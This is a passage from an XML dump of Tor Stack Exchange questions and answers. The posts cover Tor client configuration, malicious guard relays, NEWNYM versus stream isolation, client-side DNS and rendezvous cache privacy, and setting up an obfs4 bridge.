  <row Id="16377" PostTypeId="1" AcceptedAnswerId="16379" CreationDate="2017-12-28T20:05:42.833" Score="2" ViewCount="109" Body="&lt;p&gt;Selective denial of service on guard nodes is a well-known attack, in which the malicious guard keeps dropping connections from Tor clients who are not in the set of his targeted victims.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do Tor authority servers, or probing servers, or those clients who were dropped by the malicious guard have any mechanism to report it to the authority servers so that the malicious guard will be rejected in the next consensus vote?&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2017-12-28T23:13:50.377" Title="Will the network know if a malicious guard keeps dropping connections?" Tags="|guard|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16378" PostTypeId="2" ParentId="16373" CreationDate="2017-12-28T23:02:22.913" Score="1" Body="&lt;p&gt;This looks like it should work fine, as long as you give it the right Control and SOCKS ports when you create the TorRequests instance, I.E.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; request = TorRequest(proxy_port = 9150, ctrl_port=9151)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since it's using stem and you can specify alternative ports, this should work fine using Tor Browser without requiring a stand-alone &lt;code&gt;tor.exe&lt;/code&gt; for it to launch.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-28T23:02:22.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16379" PostTypeId="2" ParentId="16377" CreationDate="2017-12-28T23:13:50.377" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do Tor authority servers, or probing servers, or those clients who were dropped by the malicious guard have any mechanism to report it to the authority servers so that the malicious guard will be rejected in the next consensus vote?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Malicious relays should be reported to &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/ReportingBadRelays&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bad-relays@lists.torproject.org&lt;/code&gt;&lt;/a&gt;, along with the malicious activity, the fingerprint of the relay and steps to reproduce it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the denial of service were to be selective, like you suggest, then it would be difficult to independently verify the malicious activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the relay is found to be acting maliciously then it will be blacklisted and removed from the consensus.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-28T23:13:50.377" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16380" PostTypeId="2" ParentId="16376" CreationDate="2017-12-28T23:20:12.253" Score="1" Body="&lt;p&gt;Yes, it's possible for attacks of that kind to succeed. No, it doesn't seem to be currently practical. As of around 2011 (3 years after this paper was published) even &lt;a href=&quot;https://edwardsnowden.com/docs/doc/tor-stinks-presentation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the NSA was reporting difficulty&lt;/a&gt; with deanonymizing Tor users.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We will never be able to deanonymize all Tor users all the time&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With manual analysis we can deanonymize a very small fraction of Tor users, however, &lt;strong&gt;no&lt;/strong&gt; success de-anonymizing a user [on demand].&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is already covered in the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... it is possible for an observer who can view both you and either the destination website or your Tor exit node to correlate timings of your traffic as it enters the Tor network and also as it exits. Tor does not defend against such a threat model. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-12-28T23:31:20.477" LastActivityDate="2017-12-28T23:31:20.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16385" PostTypeId="1" AcceptedAnswerId="16434" CreationDate="2017-12-30T20:25:53.633" Score="0" ViewCount="3399" Body="&lt;p&gt;I am new to stem(not the tree stem, the proxy).&#xA;I made a python script that connects to a proxy using stem.&#xA;I am getting a [Errno:111] error, how do I fix it?&#xA;(The error occurred even though I typed:&quot;service tor start&quot; in the terminal)&#xA;(Using Kali Linux)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error:[Errno:111] Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Help will be appreciated a lot. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="20498" LastEditorUserId="20498" LastEditDate="2017-12-30T20:33:59.947" LastActivityDate="2018-01-08T00:10:05.747" Title="Stem Error:[Errno:111]" Tags="|configuration|error|stem|" AnswerCount="1" CommentCount="4" ClosedDate="2018-01-08T18:27:14.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="16387" PostTypeId="1" CreationDate="2017-12-31T01:38:29.540" Score="5" ViewCount="16958" Body="&lt;p&gt;I have installed TBB, but I need use the command line tor.&#xA;TBB is working, and some project use python to start tor is also working(such as this &lt;a href=&quot;https://github.com/realgam3/pymultitor&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/realgam3/pymultitor&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the location, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tor -h&lt;/code&gt;, show nothing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;parameter found from &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;noreferrer&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZLOo5.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZLOo5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just type tor, can see it run in backgroud(in task manager). But I want to see the detail. &lt;/p&gt;&#xA;" OwnerUserId="20502" LastActivityDate="2022-04-18T19:40:27.470" Title="can use tor command line in windows" Tags="|configuration|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16388" PostTypeId="2" ParentId="16387" CreationDate="2017-12-31T03:56:00.950" Score="7" Body="&lt;p&gt;This is a bug related to Windows' &lt;code&gt;cmd.exe&lt;/code&gt;, the Tor processes doesn't print output as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way around print out the resulting commands values is to pipe (&lt;code&gt;|&lt;/code&gt;) it into the &lt;code&gt;more&lt;/code&gt; command e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor.exe -h | more&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-12-31T03:56:00.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16394" PostTypeId="5" CreationDate="2018-01-02T08:39:38.567" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2018-01-02T08:39:38.567" LastActivityDate="2018-01-02T08:39:38.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16395" PostTypeId="4" CreationDate="2018-01-02T08:39:38.567" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2018-01-02T08:39:38.567" LastActivityDate="2018-01-02T08:39:38.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16396" PostTypeId="1" CreationDate="2018-01-02T14:58:34.840" Score="0" ViewCount="1161" Body="&lt;p&gt;I am on Debian buster, running tbb 7.0.11 . This is a clean profile and everything. I wanted to upload a few pictures from /home/shirish/Pictures but when I tried to, it says/said the following - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not read the contents of shirish&#xA;&#xA;Error opening directory '/home/shirish': Permission denied&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea why this is so, hunting on the board/forum gave me the following query and answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/15185/directory-cannot-be-readed-permission-denied-after-update-to-0-3-0&quot;&gt;Directory Cannot be Readed: Permission Denied after update to 0.3.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have apparmor installed but it seems it is like a dependency on something rather than something that I explicitly installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the answer has been given therein, saying - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Service]&#xA;AppArmorProfile=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It didn't explain the rationale or what that line does or do, no explanation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could somebody throw some more light on the matter. I do see the following after seeing &lt;a href=&quot;https://tor.stackexchange.com/questions/9520/could-not-launch-managed-proxy-executable-at-usr-bin-obfs4proxy-operation-n&quot;&gt;Could not launch managed proxy executable at &amp;#39;/usr/bin/obfs4proxy&amp;#39; (&amp;#39;Operation not permitted&amp;#39;)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but do not have any undertanding of apparmor except what I could make from the description of it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shirish@debian:/etc/systemd/system$ cat /lib/systemd/system/tor@default.service&#xA;[Unit]&#xA;Description=Anonymizing overlay network for TCP&#xA;After=network.target nss-lookup.target&#xA;PartOf=tor.service&#xA;ReloadPropagatedFrom=tor.service&#xA;&#xA;[Service]&#xA;Type=notify&#xA;NotifyAccess=all&#xA;PIDFile=/var/run/tor/tor.pid&#xA;PermissionsStartOnly=yes&#xA;ExecStartPre=/usr/bin/install -Z -m 02755 -o debian-tor -g debian-tor -d /var/run/tor&#xA;ExecStartPre=/usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --RunAsDaemon 0 --verify-config&#xA;ExecStart=/usr/bin/tor --defaults-torrc /usr/share/tor/tor-service-defaults-torrc -f /etc/tor/torrc --RunAsDaemon 0&#xA;ExecReload=/bin/kill -HUP ${MAINPID}&#xA;KillSignal=SIGINT&#xA;TimeoutStartSec=300&#xA;TimeoutStopSec=60&#xA;Restart=on-failure&#xA;LimitNOFILE=65536&#xA;&#xA;# Hardening&#xA;AppArmorProfile=-system_tor&#xA;NoNewPrivileges=yes&#xA;PrivateTmp=yes&#xA;PrivateDevices=yes&#xA;ProtectHome=yes&#xA;ProtectSystem=full&#xA;ReadOnlyDirectories=/&#xA;ReadWriteDirectories=-/proc&#xA;ReadWriteDirectories=-/var/lib/tor&#xA;ReadWriteDirectories=-/var/log/tor&#xA;ReadWriteDirectories=-/var/run&#xA;CapabilityBoundingSet=CAP_SETUID CAP_SETGID CAP_NET_BIND_SERVICE CAP_DAC_READ_SEARCH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea if I'm barking up the wrong tree altogether. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help/guidance in the matter would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2018-01-02T14:58:34.840" Title="cannot upload pictures from directory : Permission denied. and apparmor" Tags="|tor-browser-bundle|configuration|directory|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16398" PostTypeId="1" AcceptedAnswerId="16413" CreationDate="2018-01-03T07:08:18.100" Score="3" ViewCount="849" Body="&lt;p&gt;&lt;strong&gt;Resources.&lt;/strong&gt; &lt;a href=&quot;https://tor.stackexchange.com/questions/9853/what-happens-with-tcp-connections-on-signal-newnym&quot;&gt;This answer&lt;/a&gt; explains well what happens at &lt;code&gt;NEWNYM&lt;/code&gt; request, and I also &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/main.c?id=tor-0.2.8.6#n1212&quot; rel=&quot;nofollow noreferrer&quot;&gt;dig into the code&lt;/a&gt;, yet my lack of knowledge on low level networking prevents me to make a proper design decision if stream isolation is enough for me or not.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stream Isolation.&lt;/strong&gt; By stream isolation I mean creating new TCP connection with uname/pwd authentication to Tor's Socks5 proxy to a remote hidden service.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Context.&lt;/strong&gt; I am working a Bitcoin privacy technology that depends on a user to have two separate identity to the server (Alice and Bob). So the server must not be able to figure out there is a connection between Alice and Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatives.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Right now, whenever a change happens between Alice and Bob I send a &lt;code&gt;NEWNYM&lt;/code&gt; signal to Tor, dispose all connections and build new one. This of course slow, because Tor rate limits &lt;code&gt;NEWNYM&lt;/code&gt; requests for a few seconds and the existing connections are disposed, then new ones are built.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I could create a two connections with isolated streams for Alice and Bob and conduct the communication there. This would be super fast, but I am not sure if it's sufficient.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or I could use some hybrid model, where I create two stream isolated connections for Alice and Bob, just like in point 2, however whenever an identity change happens I send a &lt;code&gt;NEWNYM&lt;/code&gt; or &lt;code&gt;CLEARDNSCACHE&lt;/code&gt;? signal to Tor and don't dispose the existing connections. I'm not sure this makes sense though.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question.&lt;/strong&gt; Can the server somehow learn the connection between Alice and Bob in 1. 2. and 3. alternative?&lt;/p&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2018-01-05T01:53:38.967" Title="Signal NEWNYM vs Stream isolation" Tags="|circuit|deanonymization|torsocks|dns|protocol|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16401" PostTypeId="1" AcceptedAnswerId="16404" CreationDate="2018-01-03T18:10:47.367" Score="1" ViewCount="354" Body="&lt;p&gt;&lt;strong&gt;Context.&lt;/strong&gt; In my quest on figuring out if I must use &lt;a href=&quot;https://tor.stackexchange.com/questions/16398/signal-newnym-vs-stream-isolation&quot;&gt;&lt;code&gt;NEWNYM&lt;/code&gt; signal or stream isolation&lt;/a&gt; is enough for me I dig into the code and narrowed down the possible privacy improvements that &lt;code&gt;NEWNYM&lt;/code&gt; can bring over simple stream isolation, so I can ask more specific questions. One of it is clearing the client side DNS cache.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Goal.&lt;/strong&gt; My goal is to be able to talk with a server with two different identity, without the server, learning let's say Alice and Bob are the same user. Where the server is a hidden service.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I know.&lt;/strong&gt; &lt;a href=&quot;https://tor.stackexchange.com/questions/9853/what-happens-with-tcp-connections-on-signal-newnym&quot;&gt;This answer&lt;/a&gt; explains one thing that Tor does for &lt;code&gt;NEWNYM&lt;/code&gt; request:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/addressmap.c?id=tor-0.2.8.6#n293&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;src/or/addressmap.c:addressmap_clear_transient&lt;/code&gt;&lt;/a&gt; this clears the client-side DNS cache, as mentioned in the spec (any mapping between address and IP)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Looking into the code &lt;code&gt;CLEARDNSCACHE&lt;/code&gt; signal does exactly this, &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/main.c?id=tor-0.2.8.6#n2677&quot; rel=&quot;nofollow noreferrer&quot;&gt;it calls the same &lt;code&gt;addressmap_clear_transient()&lt;/code&gt;&lt;/a&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question.&lt;/strong&gt; Is there a risk the server can learn the connection between Alice and Bob without clearing the client side DNS cache? If so, then how much of this risk is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For reference I also drop the code here, its comments may be useful:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Remove all entries from the addressmap that are set to expire, ever. */&#xA;void&#xA;addressmap_clear_transient(void)&#xA;{&#xA;  addressmap_get_mappings(NULL, 2, TIME_MAX, 0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/addressmap.c?id=tor-0.2.8.6#n1076&quot; rel=&quot;nofollow noreferrer&quot;&gt;And finally:&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Iterate over all address mappings which have expiry times between&#xA; * min_expires and max_expires, inclusive.  If sl is provided, add an&#xA; * &quot;old-addr new-addr expiry&quot; string to sl for each mapping, omitting&#xA; * the expiry time if want_expiry is false. If sl is NULL, remove the&#xA; * mappings.&#xA; */&#xA;void&#xA;addressmap_get_mappings(smartlist_t *sl, time_t min_expires,&#xA;                        time_t max_expires, int want_expiry)&#xA;{&#xA;   ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2018-01-03T20:46:56.753" Title="Clearing the client side DNS cache provides privacy improvement?" Tags="|deanonymization|dns|protocol|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16403" PostTypeId="1" AcceptedAnswerId="16412" CreationDate="2018-01-03T18:51:30.833" Score="1" ViewCount="122" Body="&lt;p&gt;&lt;strong&gt;Context.&lt;/strong&gt; In my quest on figuring out if I must use &lt;a href=&quot;https://tor.stackexchange.com/questions/16398/signal-newnym-vs-stream-isolation&quot;&gt;&lt;code&gt;NEWNYM&lt;/code&gt; signal or stream isolation&lt;/a&gt; is enough for me I dig into the code and narrowed down the possible privacy improvements that &lt;code&gt;NEWNYM&lt;/code&gt; can bring over simple stream isolation, so I can ask more specific questions. One of it is clearing the state of rendezvous client.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Goal.&lt;/strong&gt; My goal is to be able to talk with a server with two different identity, without the server, learning let's say Alice and Bob are the same user. Where the server is a hidden service.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I know.&lt;/strong&gt; &lt;a href=&quot;https://tor.stackexchange.com/questions/9853/what-happens-with-tcp-connections-on-signal-newnym&quot;&gt;This answer&lt;/a&gt; explains one thing that Tor does for &lt;code&gt;NEWNYM&lt;/code&gt; request:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/rendclient.c?id=tor-0.2.8.6#n35&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;src/or/rendclient.c:rend_client_purge_state&lt;/code&gt;&lt;/a&gt; clears the state of the rendezvous client (hidden services) to avoid possible links between the old and new nym because of the new nym starting with the end state of the old nym.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question.&lt;/strong&gt; Is there a risk the server can learn the connection between Alice and Bob without clearing the state of the rendezvous client? If so, then how much of this risk is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For reference I also drop the code here, its comments may be useful:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Purge all potentially remotely-detectable state held in the hidden&#xA; * service client code.  Called on SIGNAL NEWNYM. */&#xA;void&#xA;rend_client_purge_state(void)&#xA;{&#xA;  rend_cache_purge();&#xA;  rend_cache_failure_purge();&#xA;  rend_client_cancel_descriptor_fetches();&#xA;  rend_client_purge_last_hid_serv_requests();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/rendcache.c#n300&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;rend_cache_purge&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Remove ALL entries from the rendezvous service descriptor cache.&#xA;*/&#xA;void&#xA;rend_cache_purge(void)&#xA;{&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/rendcache.c#n312&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;rend_cache_failure_purge&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Remove ALL entries from the failure cache. This is also called when a&#xA; * NEWNYM signal is received. */&#xA;void&#xA;rend_cache_failure_purge(void)&#xA;{&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/rendclient.c?id=tor-0.2.8.6#n921&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;rend_client_cancel_descriptor_fetches&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Cancel all rendezvous descriptor fetches currently in progress.&#xA; */&#xA;void&#xA;rend_client_cancel_descriptor_fetches(void)&#xA;{&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/rendclient.c?id=tor-0.2.8.6#n588&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;rend_client_purge_last_hid_serv_requests&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Purge the history of request times to hidden service directories,&#xA; * so that future lookups of an HS descriptor will not fail because we&#xA; * accessed all of the HSDir relays responsible for the descriptor&#xA; * recently. */&#xA;void&#xA;rend_client_purge_last_hid_serv_requests(void)&#xA;{&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2018-01-05T01:07:08.687" Title="Clearing the state of rendezvous client provides privacy improvement?" Tags="|deanonymization|protocol|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16404" PostTypeId="2" ParentId="16401" CreationDate="2018-01-03T20:46:56.753" Score="1" Body="&lt;p&gt;Clearing the client side DNS cache DOES NOT provide privacy improvement against hidden services.&lt;br&gt;&#xA;Clearing the client side DNS cache DOES provide privacy improvement against clearnet connections.  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Sources&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Example Of Privacy Loss&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Ethan Heilman provided an example of privacy loss in a slack conversation due to DNS chaching:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Eve tells a host Alice she wishes to fingerprint that dnsname A maps to IP addr 1 and Eve tells Bob that dnsname A maps to IP addr 2.&#xA;  Alice and Bob cache this mapping for say 2 years.&#xA;  Eve can always tell Alice's computer since it will access dnsname A using IP addr 1, where as Bob will us IP addr 2&#xA;  DNS cache is used so that users don't have to constantly query DNS servers&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Hidden Services Not Affected&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://tor.stackexchange.com/a/712/15388&quot;&gt;this answer&lt;/a&gt;: there is no DNS involved. &lt;a href=&quot;https://tor.stackexchange.com/questions/672/how-do-onion-addresses-exactly-work/674#674&quot;&gt;Another useful answer&lt;/a&gt; explains exactly how hidden services work. Therefore I conclude clearing the DNS cache does nothing for privacy, if the communication remains within the onion network.&lt;/p&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2018-01-03T20:46:56.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16408" PostTypeId="1" CreationDate="2018-01-04T06:52:58.930" Score="4" ViewCount="666" Body="&lt;p&gt;As you know following the recent social unrest, Iranians are literally cut off from the outside world. Earlier and upon situations like this we used to get used to using tor and pretty much in extreme scenarios ssh tunneling. &#xA;Now both are also cut off by the regime DPI.&#xA;Issues worsened as we can not get to the banned sites like torproject.org and google searches are filtered. It is a complete blackout unless we setup obfs4proxy to a tor network outside. I have not used it yet and due to the limited access to the Internet need your help. Here is the scenario:&#xA;Server side: Centos7+obfs4proxy this is a VPS in OVH&#xA;Client side: Archlinux+obfs4proxy this is inside Iran.&#xA;Now have installed obfs4proxy using go and it is working fine at centosbox,and have set up the tor needed configs as online limited instructions I could get my hands on like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ControlSocket /run/tor/control&#xA;ControlSocketsGroupWritable 1&#xA;CookieAuthentication 1&#xA;CookieAuthFile /run/tor/control.authcookie&#xA;CookieAuthFileGroupReadable 1&#xA;Log notice file /var/log/tor/notices.log&#xA;SocksPort 0&#xA;ORPort auto&#xA;Nickname Something&#xA;ContactInfo Mymail&#xA;ExitPolicy reject *:* &#xA;ServerTransportPlugin obfs4 exec /usr/local/bin/obfs4proxy managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once the tor starts it randomly assigns a port for ORPort,it is fine and I have to open up the port in firewalld -some online documents stated that after the first time tor remembers and locks to it for further consistency which is not true...better if it binds to one specific port so that the firwalld rule stayed valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what are the further commands and configs? My client side has something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;Bridge obfs4 Centos7IP:TheRandomPort&#xA;ClientTransportPlugin obfs4 exec /usr/local/bin/obfs4proxy --managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20556" LastActivityDate="2022-04-09T23:02:45.263" Title="tor+obfs4proxy a how to for Iranians opressed users" Tags="|linux|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16411" PostTypeId="1" AcceptedAnswerId="16456" CreationDate="2018-01-04T20:24:55.317" Score="0" ViewCount="79" Body="&lt;p&gt;I'm using TBB for GNU/Linux as client. Wireshark logged traffic coming from entry guard (port 443) and a less frequent traffic coming from other tor relay (port 9001). Searching over at &lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt;, both relays in question were listed using these ports as OrPorts.&#xA;As far as I understand, there should be traffic coming only from relay serving as entry guard, with configured OrPort(443, 9001, etc.), and from one relay with configured DirPort serving as dir mirror. &#xA;I'd like to know if this is normal and if I only misunderstood things. &#xA;Many thanks!&lt;/p&gt;&#xA;" OwnerDisplayName="user20568" LastEditorDisplayName="user20568" LastEditDate="2018-01-04T20:48:13.707" LastActivityDate="2018-01-10T22:26:35.807" Title="TBB, recieving traffic from two OrPorts" Tags="|tor-browser-bundle|linux|guard-node|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16412" PostTypeId="2" ParentId="16403" CreationDate="2018-01-05T00:13:57.313" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a risk the server can learn the connection between Alice and Bob without clearing the state of the rendezvous client? If so, then how much of this risk is?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. It could be possible for an onion service to create an oracle that would allow it to link Alice and Bob if they're simply using Stream Isolation copared to if their connections were re-made after a &lt;code&gt;NEWNYM&lt;/code&gt; signal was sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's potentially a little far fetched, but it is possible. They likely wouldn't notice it &lt;em&gt;incidentally&lt;/em&gt; but they could try to set a trap to catch you out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example might be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The malicious service publishes a set of descriptors for its onion service to its HSDirs, advertising one or more introduction points.&lt;/li&gt;&#xA;&lt;li&gt;The user fetches the descriptors to talk to the service and establishes a rendezvous connection on an isolated circuit.&lt;/li&gt;&#xA;&lt;li&gt;The service generates a &lt;em&gt;new&lt;/em&gt; set of descriptors with a new set of introduction points and publishes them to the HSDirs.&lt;/li&gt;&#xA;&lt;li&gt;The user performs actions on the onion service as Alice and disconnects.&lt;/li&gt;&#xA;&lt;li&gt;The user uses stream isolation to create a new circuit to the service &lt;em&gt;but&lt;/em&gt; because they did not clear the rendezvous cache they use the &lt;em&gt;old&lt;/em&gt; introduction point from the &lt;em&gt;old&lt;/em&gt; descriptor.&lt;/li&gt;&#xA;&lt;li&gt;The user performs actions on the onion service as Bob and 